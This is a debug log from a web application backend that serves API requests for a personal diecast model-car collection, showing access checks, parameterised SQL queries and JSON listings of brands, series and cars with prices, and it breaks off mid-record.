2026-02-03T12:03:06.766Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:06.767Z server-connect:app Executing action step identify
2026-02-03T12:03:06.767Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.767Z server-connect:output identity: 1
2026-02-03T12:03:06.767Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.767Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:06.769Z server-connect:output restrict: undefined
2026-02-03T12:03:06.769Z server-connect:app Executing action step select
2026-02-03T12:03:06.769Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:03:06.770Z server-connect:app Executing action step identify
2026-02-03T12:03:06.770Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.770Z server-connect:output identity: 1
2026-02-03T12:03:06.770Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:06.772Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T12:03:06.772Z server-connect:output restrict: undefined
2026-02-03T12:03:06.772Z server-connect:app Executing action step select
2026-02-03T12:03:06.772Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:03:06.773Z server-connect:app Executing action step identify
2026-02-03T12:03:06.773Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.773Z server-connect:output identity: 1
2026-02-03T12:03:06.773Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.773Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:06.774Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T12:03:06.775Z server-connect:output restrict: undefined
2026-02-03T12:03:06.775Z server-connect:app Executing action step paged
2026-02-03T12:03:06.775Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:03:06.776Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-03T12:03:06.777Z server-connect:app Executing action step identify
2026-02-03T12:03:06.778Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.778Z server-connect:output identity: 1
2026-02-03T12:03:06.778Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.778Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:06.779Z server-connect:output restrict: undefined
2026-02-03T12:03:06.779Z server-connect:app Executing action step select
2026-02-03T12:03:06.779Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:03:06.780Z server-connect:output restrict: undefined
2026-02-03T12:03:06.781Z server-connect:app Executing action step select
2026-02-03T12:03:06.781Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:03:06.782Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T12:03:06.782Z server-connect:app Executing action step select
2026-02-03T12:03:06.782Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:03:06.783Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-03T12:03:06.784Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T12:03:06.784Z server-connect:app Executing action step select
2026-02-03T12:03:06.784Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:03:06.787Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T12:03:06.789Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:03:12.503Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:03:12.503Z server-connect:app Executing action step identify
2026-02-03T12:03:12.503Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:12.504Z server-connect:output identity: 1
2026-02-03T12:03:12.504Z server-connect:app Executing action step restrict
2026-02-03T12:03:12.504Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:12.504Z server-connect:output restrict: undefined
2026-02-03T12:03:12.504Z server-connect:app Executing action step paged
2026-02-03T12:03:12.504Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:03:12.507Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 68,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
